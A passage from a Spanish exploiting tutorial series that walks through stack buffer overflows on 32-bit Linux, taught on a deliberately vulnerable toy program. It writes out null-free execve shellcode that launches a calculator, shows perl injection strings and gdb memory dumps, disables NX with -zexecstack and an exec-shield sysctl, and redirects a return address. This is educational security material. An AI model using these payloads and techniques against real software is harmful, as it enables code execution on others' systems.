Aquí tenemos un ejemplo de programa en ensamblador (sintaxis AT&T) que nos sirve como esqueleto para ejecutar la calculadora. Analicémoslo un poco. Lo primero que hacemos es poner en el registro ebx el número 0xffffffff. Ebx debe contener la dirección de la string con el nombre del programa, esta string la estamos hardcodeando al final, pero dado que todo esto va a estar dentro del buffer que vamos a explotar ¡aun no sabemos la dirección exacta donde cae!. Adelanto que luego lo miraremos con el gdb. Luego se ponen a 0 los registros ecx, edx y esi (los otros 3 parámetros de sys_execve), recordemos que la operación XOR de un número consigo mismo da como resultado 0 siempre. Al final preparamos la llamada al sistema. Debido a como funcionan las llamadas al sistema en Linux (no lo explicaré aquí porque sería irse por derroteros complicados), en eax va el número de llamada al sistema a ejecutar, en nuestro caso la 11 (0xb) que es sys_execve, y la instrucción int 0x80 la ejecuta.

Esto así está muy bien, pero lo que nosotros necesitamos son los bytes que encodean ese código para meterlo en el buffer a explotar. Aquí entra en juego objdump, ¿recuerdas cómo desambla? :D.

$ gcc -o calcode calcode.s 
$ objdump -d calcode | egrep -A 10 "<main>"
080483b4 <main>:
 80483b4:    bb ff ff ff ff           mov    $0xffffffff,%ebx
 80483b9:    31 c9                    xor    %ecx,%ecx
 80483bb:    31 d2                    xor    %edx,%edx
 80483bd:    31 f6                    xor    %esi,%esi
 80483bf:    b0 0b                    mov    $0xb,%al
 80483c1:    cd 80                    int    $0x80
 80483c3:    2f                       das   
 80483c4:    75 73                    jne    8048439 <__libc_csu_init+0x59>
 80483c6:    72 2f                    jb     80483f7 <__libc_csu_init+0x17>
 80483c8:    62 69 6e                 bound  %ebp,0x6e(%ecx)

Aquí tenemos los bytes que codifican las instrucciones que necesitamos :D. Una duda que nos puede surgir aquí es ¿wtf son las instrucciones esas después de la int, la das, jne, etc? Seguro que ya lo sabes, esas instrucciones son las que interpreta objdump a partir de los bytes 0x2f, 0x75, 0x73 que hay ahí... y que en ASCII son los caracteres '/', 'u', 's'... lo has visto ya, ¿no?. "/usr/bin/gcalccmd" ;).

Ojo aquí, podemos pensar que ya podemos sustituir el 0xffffffff de ebx con la dirección 0x08483c3, que es donde empieza la string "/usr...", pero no es así. Esa dirección es donde está la string dentro del ELF que acabamos de compilar, pero no es ahí donde va a estar el código. Repito, estos bytes los inyectaremos ahora en el programa vulnerable dentro del buffer a explotar, y eso estará en otras posiciones de memoria.

Vamos ahora a hacer la explotación, inyección y ejecución del código. Vamos a verlo desde dentro del gdb y de poco en poco.

$ gdb -q bof
Reading symbols from /path/bof...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x08048444 <+0>:    push   %ebp
   0x08048445 <+1>:    mov    %esp,%ebp
   0x08048447 <+3>:    and    $0xfffffff0,%esp
   0x0804844a <+6>:    sub    $0x90,%esp
   0x08048450 <+12>:    cmpl   $0x2,0x8(%ebp)
   0x08048454 <+16>:    je     0x8048478 <main+52>
   0x08048456 <+18>:    mov    0xc(%ebp),%eax
   0x08048459 <+21>:    mov    (%eax),%edx
   0x0804845b <+23>:    mov    $0x8048570,%eax
   0x08048460 <+28>:    mov    %edx,0x4(%esp)
   0x08048464 <+32>:    mov    %eax,(%esp)
   0x08048467 <+35>:    call   0x8048340 <printf@plt>
   0x0804846c <+40>:    movl   $0xffffffff,(%esp)
   0x08048473 <+47>:    call   0x8048370 <exit@plt>
   0x08048478 <+52>:    mov    0xc(%ebp),%eax
   0x0804847b <+55>:    add    $0x4,%eax
   0x0804847e <+58>:    mov    (%eax),%eax
   0x08048480 <+60>:    mov    %eax,0x4(%esp)
   0x08048484 <+64>:    lea    0x10(%esp),%eax
   0x08048488 <+68>:    mov    %eax,(%esp)
   0x0804848b <+71>:    call   0x8048350 <strcpy@plt>
   0x08048490 <+76>:    mov    $0x0,%eax
   0x08048495 <+81>:    leave 
   0x08048496 <+82>:    ret   
End of assembler dump.
(gdb) br *main+71
Breakpoint 1 at 0x804848b
(gdb) run `perl -e 'print "\xbb\xff\xff\xff\xff\x31\xc9\x31\xd2\x31\xf6\xb0\x0b\xcd\x80\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x67\x63\x61\x6c\x63\x63\x6d\x64\x00" . "A"x107 . "\xee\xee\xee\xee"'`
Starting program: /path/bof `perl -e 'print "\xbb\xff\xff\xff\xff\x31\xc9\x31\xd2\x31\xf6\xb0\x0b\xcd\x80\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x67\x63\x61\x6c\x63\x63\x6d\x64\x00" . "A"x107 . "\xee\xee\xee\xee"'`

Breakpoint 1, 0x0804848b in main ()

Sí, escribir ese chorro de bytes ha resultado un coñazo. Ya mostraré más adelante truquillos para no perder tanto tiempo, pero hay que hacerlo una primera vez para ver lo que estamos haciendo. Dado que necesitamos 140 bytes antes de empezar a sobreescribir la dirección de retorno (la cuál ahora mismo no sabemos cual es así que he puesto 0xeeeeeeee), y que el código que queremos ejecutar ocupa sólo 33 bytes (incluyendo string) pues he rellenado con 107 Aes. He parado el programa justo antes del strcpy() para ver las direcciones que tenemos que cambiar.

(gdb) x/40xw $esp
0xbffff280:    0xbffff290    0xbffff560    0x00000001    0xb7ebc1f9
0xbffff290:    0xbffff2cf    0xbffff2ce    0x00000000    0xb7ff3fdc
0xbffff2a0:    0xbffff354    0x00000000    0x00000000    0xb7e59053
0xbffff2b0:    0x08048278    0x00000000    0x2cb43049    0x00000001
0xbffff2c0:    0xbffff539    0x0000002f    0xbffff31c    0xb7fc6ff4
0xbffff2d0:    0x080484a0    0x08049ff4    0x00000002    0x0804831d
0xbffff2e0:    0xb7fc73e4    0x0000000a    0x08049ff4    0x080484c1
0xbffff2f0:    0xffffffff    0xb7e591a6    0xb7fc6ff4    0xb7e59235
0xbffff300:    0xb7fed270    0x00000000    0x080484a9    0xb7fc6ff4
0xbffff310:    0x080484a0    0x00000000    0x00000000    0xb7e3f4d3

El buffer se encuentra en la dirección 0xbffff290, ahí es donde se inyectará nuestro código. Es ahora cuando calculamos en dónde va a caer "/usr/bin/gcalccmd", esta string tiene 15 bytes de desplazamiento con respecto al primer byte de nuestro código, así que caerá en 0xbffff290 + 0xf = 0xbffff29f. Ya tenemos las dos direcciones que nos hacen falta, la de la string y la de comienzo del código, volvamos a ejecutar el programa cambiando esos valores.

(gdb) run `perl -e 'print "\xbb\x9f\xf2\xff\xbf\x31\xc9\x31\xd2\x31\xf6\xb0\x0b\xcd\x80\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x67\x63\x61\x6c\x63\x63\x6d\x64\x00" . "A"x107 . "\x90\xf2\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /path/bof `perl -e 'print "\xbb\x9f\xf2\xff\xbf\x31\xc9\x31\xd2\x31\xf6\xb0\x0b\xcd\x80\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x67\x63\x61\x6c\x63\x63\x6d\x64\x00" . "A"x107 . "\x90\xf2\xff\xbf"'`

Breakpoint 1, 0x0804848b in main ()

Ojo con el orden de los bytes, recuerda que estamos en x86 que es little endian. Lo vimos en la entrada anterior.

(gdb) nexti
0x08048490 in main ()
(gdb) x/40xw $esp
0xbffff280:    0xbffff290    0xbffff560    0x00000001    0xb7ebc1f9
0xbffff290:    0xfff29fbb    0x31c931bf    0xb0f631d2    0x2f80cd0b
0xbffff2a0:    0x2f727375    0x2f6e6962    0x6c616367    0x646d6363
0xbffff2b0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2c0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2d0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2e0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2f0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff300:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff310:    0x41414141    0x41414141    0x90414141    0x00bffff2

Aquí ya se ha realizado el strcpy(), y sin necesidad de seguir ejecutando deberíamos darnos cuenta de que la ejecución no va a funcionar. La dirección de retorno ha sido modificada por 0x00bffff2 y no por 0xbffff290 como queríamos. El siguiente paso más lógico sería pensar que soy un paquete y no se restar bien, lo cual no deja de ser cierto, pero no es eso lo que está pasando. Lo que de verdad nos está ocurriendo es que perl se nos está comiendo un byte (y con razón, que conste). Cuando hemos ejecutado el comando estamos haciendo concatenaciones de strings (operador '.'), la primera string (que contiene el código y "/usr/bin..." todo seguido) termina en '\x00', caracter terminador de strings y que a la hora de concatenar será pisado por el primer caracter de la siguiente string, una 'A'. Fijémonos justo donde empiezan a haber Aes (byte 0x41) y veremos que efectivamente no aparece el byte 0x00, está resaltado en violeta.

Podemos pensar en meter 108 Aes para conseguir un byte más y que así la dirección de retorno sea la que queremos, pero esto tampoco nos vale. Es cierto que así conseguiríamos saltar al código y empezar a ejecutarlo, pero entonces la string que le pasaríamos a sys_exeve no sería "/usr/bin/gcalccmd" sino "/usr/bin/gcalccmd<108 Aes><4 bytes de basura>". Sobra decir que no tenemos un binario llamado así.

Aquí tenemos dos soluciones (que se me ocurran), una es crear un enlace simbólico a gcalccmd con el nombre extraño que hemos descrito. Sobra decir que esta solución es feísima y poco práctica, pero sobre todo feísima. La otra solución es meter en nuestro código lógica adicional para que nos ponga un byte 0x00 justo donde queremos. Mucho más elegante. Volvamos entonces a nuestro pequeño programa en ensamblador y modifiquémoslo para este cometido.

.globl main

main:
    /* Poner un nulo al final de la string. */
    movb $0x00, (0xdddddddd)

    /*
     * No sabemos la direccion de la string del final,
     * lo rellenamos con 0xff y luego miraremos donde cae.
     */
    movl $0xffffffff, %ebx

    /* argv, envp y regs == NULL. */
    xorl %ecx, %ecx
    xorl %edx, %edx
    xorl %esi, %esi

    /* Hacemos la llamada a sys_execve. */
    movb $0xb, %al
    int $0x80

.string "/usr/bin/gcalccmd"

Ya lo tenemos, simplemente ponemos un 0 en la zona de memoria apuntada por 0xdddddddd, que luego cambiaremos por la dirección de verdad. Volvemos a mirar con objdump los bytes de nuestro código.

$ gcc -o calcode calcode.s 
$ objdump -d calcode | egrep -A 20 "<main>"
080483b4 <main>:
 80483b4:    c6 05 dd dd dd dd 00     movb   $0x0,0xdddddddd
 80483bb:    bb ff ff ff ff           mov    $0xffffffff,%ebx
 80483c0:    31 c9                    xor    %ecx,%ecx
 80483c2:    31 d2                    xor    %edx,%edx
 80483c4:    31 f6                    xor    %esi,%esi
 80483c6:    b0 0b                    mov    $0xb,%al
 80483c8:    cd 80                    int    $0x80
 80483ca:    2f                       das   
 80483cb:    75 73                    jne    8048440 <__libc_csu_init+0x60>
 80483cd:    72 2f                    jb     80483fe <__libc_csu_init+0x1e>
 80483cf:    62 69 6e                 bound  %ebp,0x6e(%ecx)
 80483d2:    2f                       das  
 80483d3:    67 63 61 6c              arpl   %sp,0x6c(%bx,%di)
 80483d7:    63 63 6d                 arpl   %sp,0x6d(%ebx)
 80483da:    64 00 90 90 90 90 90     add    %dl,%fs:-0x6f6f6f70(%eax)

Y ahora volvemos al gdb, escribimos el chorizaco con perl y ejecutamos, ¿no?. ¡Pues no! ¿No ves que tenemos el mismo problema de antes?, la nueva instrucción que hemos metido tiene un byte 0x00 en sí misma (debido al literal $0x0 que usa) con lo cual perl volvería a hacernos lo mismo que antes y esta vez se estropearía todo porque ahí acabaría el byte 0xbb de la siguiente instrucción, con lo que se partiría la instrucción y a saber que se acabaría ejecutando. ¿Vas viendo a dónde estoy llegando?. No podemos utilizar el byte 0x00 en nuestro código, y no sólo porque perl al concatenar se lo coma (eso podemos evitarlo), sino porque la función que vamos a explotar es strcpy(), esta función sólo copia hasta que encuentra el byte de terminación de la string, es decir el byte 0x00. Este es el gran motivo de por qué los programas que inyectamos deben evitar usar el byte 0x00, porque entonces no se pueden inyectar con el strcpy().

Tenemos que buscar entonces una forma de conseguir poner donde queremos un byte 0x00 pero que el código no use bytes 0x00. Lo cierto es que me lo había callado, pero ya he aplicado esta técnica en este mismo código. Cuando lo empezamos a escribir comenté que ecx, edx y esi iban a apuntar a NULL. NULL no es más que una macro para 0x00000000 y la forma en que puse a 0 estos registros fue mediante una operación XOR con ellos mismos. Seguro que muchos pensaron en hacer "movl $0x0, %ecx", pero lo cierto es que eso introduciría caracteres nulos, sin embargo como podemos observar, con instrucciones xor no ocurre ;). Volvamos a dar una vuelta de tuerca más al código.

.globl main

main:
    /* Poner un nulo al final de la string... sin usar nulos ;). */
    xorl %ecx, %ecx
    movb %cl, (0xdddddddd)


    /*
     * No sabemos la direccion de la string del final,
     * lo rellenamos con 0xff y luego miraremos donde cae.
     */
    movl $0xffffffff, %ebx

    /* argv, envp y regs == NULL. */
    xorl %edx, %edx
    xorl %esi, %esi

    /* Hacemos la llamada a sys_execve. */
    movb $0xb, %al
    int $0x80

.string "/usr/bin/gcalccmd"

$ gcc -o calcode calcode.s 
$ objdump -d calcode | egrep -A 20 "<main>"
080483b4 <main>:
 80483b4:    31 c9                    xor    %ecx,%ecx
 80483b6:    88 0d dd dd dd dd        mov    %cl,0xdddddddd

 80483bc:    bb ff ff ff ff           mov    $0xffffffff,%ebx
 80483c1:    31 d2                    xor    %edx,%edx
 80483c3:    31 f6                    xor    %esi,%esi
 80483c5:    b0 0b                    mov    $0xb,%al
 80483c7:    cd 80                    int    $0x80
 80483c9:    2f                       das   
 80483ca:    75 73                    jne    804843f <__libc_csu_init+0x5f>
 80483cc:    72 2f                    jb     80483fd <__libc_csu_init+0x1d>
 80483ce:    62 69 6e                 bound  %ebp,0x6e(%ecx)
 80483d1:    2f                       das   
 80483d2:    67 63 61 6c              arpl   %sp,0x6c(%bx,%di)
 80483d6:    63 63 6d                 arpl   %sp,0x6d(%ebx)
 80483d9:    64 00 90 90 90 90 90     add    %dl,%fs:-0x6f6f6f70(%eax)


Y ahora sí, ya no tenemos ningún byte nulo en nuestro código. Vayamos al gdb, miremos las direcciones donde se va a ejecutar, cambiemos las 3 que debemos y probemos.

$ gdb -q bof
Reading symbols from /path/bof...(no debugging symbols found)...done.
(gdb) br *main+71
Breakpoint 1 at 0x804848b
(gdb) run `perl -e 'print "\x31\xc9\x88\x0d\xdd\xdd\xdd\xdd\xbb\xff\xff\xff\xff\x31\xd2\x31\xf6\xb0\x0b\xcd\x80\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x67\x63\x61\x6c\x63\x63\x6d\x64" . "A"x102 . "\xee\xee\xee\xee"'`
Breakpoint 1, 0x0804848b in main ()

Nótese que la cantidad de bytes que ocupa el código ha crecido y por lo tanto hacen falta menos Aes para rellenar.

(gdb) nexti
0x08048490 in main ()
(gdb) x/40xw $esp
0xbffff280:    0xbffff290    0xbffff55f    0x00000001    0xb7ebc1f9
0xbffff290:    0x0d88c931    0xdddddddd    0xffffffbb    0x31d231ff
0xbffff2a0:    0xcd0bb0f6    0x73752f80    0x69622f72    0x63672f6e
0xbffff2b0:    0x63636c61    0x4141646d    0x41414141    0x41414141
0xbffff2c0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2d0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2e0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2f0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff300:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff310:    0x41414141    0x41414141    0x41414141    0xeeeeeeee

Podemos apreciar que ahora la sobreescritura de la dirección de retorno es correcta, a falta de poner la verdadera dirección. Calculamos las 3 direcciones que necesitamos y volvemos a ejecutar sustituyendo los bytes necesarios.

(gdb) run `perl -e 'print "\x31\xc9\x88\x0d\xb6\xf2\xff\xbf\xbb\xa5\xf2\xff\xbf\x31\xd2\x31\xf6\xb0\x0b\xcd\x80\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x67\x63\x61\x6c\x63\x63\x6d\x64" . "A"x102 . "\x90\xf2\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /path/bof `perl -e 'print "\x31\xc9\x88\x0d\xb6\xf2\xff\xbf\xbb\xa5\xf2\xff\xbf\x31\xd2\x31\xf6\xb0\x0b\xcd\x80\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x67\x63\x61\x6c\x63\x63\x6d\x64" . "A"x102 . "\x90\xf2\xff\xbf"'`
Breakpoint 1, 0x0804848b in main ()
(gdb) nexti
0x08048490 in main ()
(gdb) x/40xw $esp
0xbffff280:    0xbffff290    0xbffff55f    0x00000001    0xb7ebc1f9
0xbffff290:    0x0d88c931    0xbffff2b6    0xfff2a5bb    0x31d231bf
0xbffff2a0:    0xcd0bb0f6    0x73752f80    0x69622f72    0x63672f6e
0xbffff2b0:    0x63636c61    0x4141646d    0x41414141    0x41414141
0xbffff2c0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2d0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2e0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2f0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff300:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff310:    0x41414141    0x41414141    0x41414141    0xbffff290

Vemos que efectivamente se ha sobreescrito la dirección de retorno con la dirección de comienzo del buffer... donde se encuentra nuestro código inyectado }:-). Continuemos.

(gdb) cont
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xbffff290 in ?? ()

¡ZAS, EN TODA LA BOCA!. Tómate un momento de relax si lo necesitas, aquí tienes unos puntos suspensivos para acompañar ..........., bueno ya esta bien de descanso. ¿Qué ha pasado aquí? Bueno, pues que nos hemos topado con otra de las protecciones contra la explotación de estas vulnerabilidades, exec-shield, bit nx, dep, w^x o como quieran llamarlo. Se trata de impedir la ejecución de código en zonas con permisos de escritura. Estamos inyectando este código dentro de la pila y por tanto estamos incurriendo en un acceso a memoria ilegal. Ya trataremos en otra entrada cómo saltarse esta protección, ahora lo que haremos será desactivarla ;)... o más bien activar la ejecución en la pila.

Al crear el ELF, automáticamente se le pide a la sección GNU_STACK que no tenga permisos de ejecución.

$ readelf -a bof | egrep "GNU_STACK"
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4

Nótese que sólo tiene permisos de lectura y escritura. Lo que haremos será compilar pidiendo esos permisos.

$ gcc -fno-stack-protector -zexecstack -o bof bof.c
$ readelf -a bof | egrep "GNU_STACK"
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4

Después de compilar con la opción -zexecstack vemos que la sección GNU_STACK pide permisos de ejecución además de lectura y escritura. En otros sistemas puede hacer falta desactivar un flag del kernel, el flag kernel.exec-shield en concreto. No es este caso, pero si estuvieramos en un sistema donde así fuera lo desactivaríamos con este comando.

$ sudo sysctl -w kernel.exec-shield=0

Cuidadito con esto que desactiva la protección en el sistema (aunque sólo hasta el reinicio).

Y volvamos a probar a ejecutar de nuevo mediante gdb. Voy directo hasta el último punto, parados justo después de ejecutar strcpy().

(gdb) cont
Continuing.
process 6366 is executing new program: /usr/bin/gcalccmd
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
> 1236 + 101
1337
> quit

[Inferior 1 (process 6366) exited normally]
(gdb)

Tachán! Ahí tenemos la ejecución de la calculadora :).

Y así es como la "ejecución arbitraria de código" se vuelve un poco menos arbitraria y por qué un bof puede ser tan peligroso. En otras entradas desarrollaremos programas más bonitos y útiles :).

Para terminar voy a hacer una autocritica sobre el código que estamos inyectando. Estoy intentando ir despacito, avanzando un escalón de dificultad en cada entrega, pero lo cierto es que esta vez me ha resultado muy difícil y no he podido evitarlo. No quería hablar aquí de las técnicas a tener en cuenta a la hora de escribir nuestros programas a inyectar (en este caso evitar usar bytes nulos), así que por ahora hemos estado mirando las direcciones que el programa necesita (dirección de la string con el nombre del programa, dirección donde comienza el buffer y por tanto el código inyectado...) desde dentro del gdb y en ningún momento he ejecutado por fuera. Si intentamos ejecutar desde el exterior lo más probable es que el programa pete y ya está. Ya veremos más adelante nuevas técnicas a la hora de escribir estos programas (que a partir de ahora vamos a llamar shellcodes porque ya me estoy rayando) y según las vayamos juntando ya veremos que vamos a explotar los programas sin necesidad de hacerlo desde dentro del gdb, pero hasta entonces paciencia.

Saludos.

lunes, 3 de septiembre de 2012

Minicurso de exploiting (parte 8): Aprovechándonos de un buffer overflow

En la última entrada vimos qué era una vulnerabilidad BoF y cómo hacer que el programa con ella incurriera en un acceso ilegal a memoria y fallara. Provocar esto en un programa que está orientado a dar un servicio (un servidor web por ejemplo) es una de las formas de provocar un DoS (Denial of Service). A veces un BoF sólo puede aprovecharse para provocar un DoS, pero otras veces se puede conseguir mucho más si se sabe cómo hacerlo. Ya hablamos en la entrada anterior de que en el caso más extremo un BoF puede acabar con la ejecución arbitraria de código... o no tan arbitrario. En esta entrada vamos a hablar de ello. Vamos a enseñar cómo, a partir de un BoF, podemos conseguir ejecutar código y conseguir cosas graciosas.

Volvamos a ver un programa con un BoF de libro.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int saludar() {
    printf("Hola BoF\n");
    exit(0);
}

int main(int argc, char *argv[]) {
    char buffer[128];

    if (argc != 2)
        printf("Usage: %s <param>\n", argv[0]), exit(-1);

    strcpy(buffer, argv[1]);
    return 0;
}

En buffer se copia el primer parámetro pasado al programa, si este parámetro es mayor de 128 bytes habrá sobreescritura. Veámoslo.

$ ./bof2 hola
$ ./bof2 `perl -e 'print "A"x128'`
$ ./bof2 `perl -e 'print "A"x140'`
Violación de segmento

Aunque haya sobreescritura a partir de 128, el programa no explota hasta los 140 bytes. Veamos por qué, aunque estoy seguro que ya puedes intuirlo.

$ gdb -q bof2
Leyendo sí­mbolos desde /path/bof2...(no se encontraron sí­mbolos de depuración)hecho.
(gdb) disas main
Dump of assembler code for function main:
   0x08048472 <+0>:    push   %ebp
   0x08048473 <+1>:    mov    %esp,%ebp
   0x08048475 <+3>:    and    $0xfffffff0,%esp
   0x08048478 <+6>:    sub    $0x90,%esp
   0x0804847e <+12>:    cmpl   $0x2,0x8(%ebp)
   0x08048482 <+16>:    je     0x80484a6 <main+52>
   0x08048484 <+18>:    mov    0xc(%ebp),%eax
   0x08048487 <+21>:    mov    (%eax),%edx
   0x08048489 <+23>:    mov    $0x8048599,%eax
   0x0804848e <+28>:    mov    %edx,0x4(%esp)
   0x08048492 <+32>:    mov    %eax,(%esp)
   0x08048495 <+35>:    call   0x8048364 <printf@plt>
   0x0804849a <+40>:    movl   $0xffffffff,(%esp)
   0x080484a1 <+47>:    call   0x8048384 <exit@plt>
   0x080484a6 <+52>:    mov    0xc(%ebp),%eax
   0x080484a9 <+55>:    add    $0x4,%eax
   0x080484ac <+58>:    mov    (%eax),%eax
   0x080484ae <+60>:    mov    %eax,0x4(%esp)
   0x080484b2 <+64>:    lea    0x10(%esp),%eax
   0x080484b6 <+68>:    mov    %eax,(%esp)
   0x080484b9 <+71>:    call   0x8048354 <strcpy@plt>
   0x080484be <+76>:    mov    $0x0,%eax
   0x080484c3 <+81>:    leave 
   0x080484c4 <+82>:    ret   
End of assembler dump.
(gdb) br *main+71
Punto de interrupción 1 at 0x80484b9
(gdb) run `perl -e 'print "A"x128'`
Starting program: /path/bof2 `perl -e 'print "A"x128'`

Breakpoint 1, 0x080484b9 in main ()
(gdb) x/40xw $esp
0xbffff260:    0xbffff270    0xbffff554    0x00119b82    0xbffff314
0xbffff270:    0x080481cc    0xbffff308    0x0012da74    0x00000000
0xbffff280:    0xb7fffb28    0x00000001    0x00000000    0x00000001
0xbffff290:    0x0012d918    0x00000001    0x00008000    0x00287ff4
0xbffff2a0:    0x00237e79    0x0015e785    0xbffff2b8    0x00145ae5
0xbffff2b0:    0x00000000    0x08049ff4    0xbffff2c8    0x08048320
0xbffff2c0:    0x0011eb60    0x08049ff4    0xbffff2f8    0x080484f9
0xbffff2d0:    0x00288324    0x00287ff4    0x080484e0    0xbffff2f8
0xbffff2e0:    0x0015e985    0x0011eb60    0x080484eb    0x00287ff4
0xbffff2f0:    0x080484e0    0x00000000    0xbffff378    0x00145ce7
(gdb) nexti
0x080484be in main ()
(gdb) x/40xw $esp
0xbffff260:    0xbffff270    0xbffff554    0x00119b82    0xbffff314
0xbffff270:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff280:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff290:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2a0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2b0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2c0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2d0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2e0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2f0:    0x08048400    0x00000000    0xbffff378    0x00145ce7

Usaré los mismos colores y patrones de la entrada anterior, y probablemente los seguiré usando el resto del curso.

Podemos apreciar dónde se encuentra buffer dentro del stack frame de main(), en esta ejecución hemos sobreescrito un byte más allá del límite del buffer, pero lo cambiado es un valor que no afecta al resto de la ejecución del programa. Veamos ahora por qué cuando al programa le pasamos 141 bytes sí explota.

(gdb) run `perl -e 'print "A"x140'`
The program being debugged has been started already.
Start it from the beginning? (y o n) y
Starting program: /path/bof2 `perl -e 'print "A"x140'`

Breakpoint 1, 0x080484b9 in main ()
(gdb) x/40xw $esp
0xbffff250:    0xbffff260    0xbffff548    0x00119b82    0xbffff304
0xbffff260:    0x080481cc    0xbffff2f8    0x0012da74    0x00000000
0xbffff270:    0xb7fffb28    0x00000001    0x00000000    0x00000001
0xbffff280:    0x0012d918    0x00000001    0x00008000    0x00287ff4
0xbffff290:    0x00237e79    0x0015e785    0xbffff2a8    0x00145ae5
0xbffff2a0:    0x00000000    0x08049ff4    0xbffff2b8    0x08048320
0xbffff2b0:    0x0011eb60    0x08049ff4    0xbffff2e8    0x080484f9
0xbffff2c0:    0x00288324    0x00287ff4    0x080484e0    0xbffff2e8
0xbffff2d0:    0x0015e985    0x0011eb60    0x080484eb    0x00287ff4
0xbffff2e0:    0x080484e0    0x00000000    0xbffff368    0x00145ce7
(gdb) nexti
0x080484be in main ()
(gdb) x/40xw $esp
0xbffff250:    0xbffff260    0xbffff548    0x00119b82    0xbffff304
0xbffff260:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff270:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff280:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff290:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2a0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2b0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2c0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2d0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2e0:    0x41414141    0x41414141    0x41414141    0x00145c00

Como vemos, aquí­ se ha llegado a sobreescribir la dirección de retorno de main(). Cuando main() termine se saltará al código en la dirección 0x00145c00 (y no ha 0x00145ce7 como debería), ejecutando lo que allá hay. Dado que a partir de ese punto la ejecución ha sido corrompida (se ha cambiado el flujo de ejecución) lo más normal es acabar en un fallo de segmentación.

Lo que tenemos que tener claro de todo esto es que podemos cambiar el flujo de ejecución de un programa, y por tanto podemos hacer que el programa haga otras cosas, eso sí,­ hilando fino.

Veamos ahora cómo lograr ejecutar la función saludar() que escribí en el código y que sin embargo no usaba. Lo que debemos hacer es provocar la sobreescritura, pero de tal manera que lo que acabe en la dirección de retorno sea la dirección de la función saludar(), de forma que cuando main() retorne lo haga hacia saludar() y no de donde quiera que viniera. Lo primero es averiguar la dirección de saludar().

$ objdump -d bof2 | egrep "<saludar>"
08048454 <saludar>:

La primera instrucción de saludar() se encuentra en la dirección 0x08048454, veamos ahora cómo hacer que el programa ejecute esta función. Sabemos que a partir del byte 141 que le pasamos al programa se sobreescribe la dirección de retorno de main(), con lo que el byte 141, 142, 143 y 144 deben ser la dirección de saludar(). Lo que haremos será pasarle al programa 140 bytes de porquería, unas cuantas Aes por ejemplo (o eÑes si eres de la Nighterman old school) y justo después cada uno de los bytes de saludar().

$ ./bof2 `perl -e 'print "A"x140 . "\x08\x04\x84\x54"'`
Violación de segmento

¿Qué ha pasado por ahí­ abajo para que no haya funcionado lo que habí­amos planeado? Veámoslo, porque es algo bastante común y que debemos tener en cuenta.

$ gdb -q bof2
Leyendo sí­mbolos desde /path/bof2...(no se encontraron símbolos de depuración)hecho.
(gdb) disas main
Dump of assembler code for function main:
   0x08048472 <+0>:    push   %ebp
   0x08048473 <+1>:    mov    %esp,%ebp
   0x08048475 <+3>:    and    $0xfffffff0,%esp
   0x08048478 <+6>:    sub    $0x90,%esp
   0x0804847e <+12>:    cmpl   $0x2,0x8(%ebp)
   0x08048482 <+16>:    je     0x80484a6 <main+52>
   0x08048484 <+18>:    mov    0xc(%ebp),%eax
   0x08048487 <+21>:    mov    (%eax),%edx
   0x08048489 <+23>:    mov    $0x8048599,%eax
   0x0804848e <+28>:    mov    %edx,0x4(%esp)
   0x08048492 <+32>:    mov    %eax,(%esp)
   0x08048495 <+35>:    call   0x8048364 <printf@plt>
   0x0804849a <+40>:    movl   $0xffffffff,(%esp)
   0x080484a1 <+47>:    call   0x8048384 <exit@plt>
   0x080484a6 <+52>:    mov    0xc(%ebp),%eax
   0x080484a9 <+55>:    add    $0x4,%eax
   0x080484ac <+58>:    mov    (%eax),%eax
   0x080484ae <+60>:    mov    %eax,0x4(%esp)
   0x080484b2 <+64>:    lea    0x10(%esp),%eax
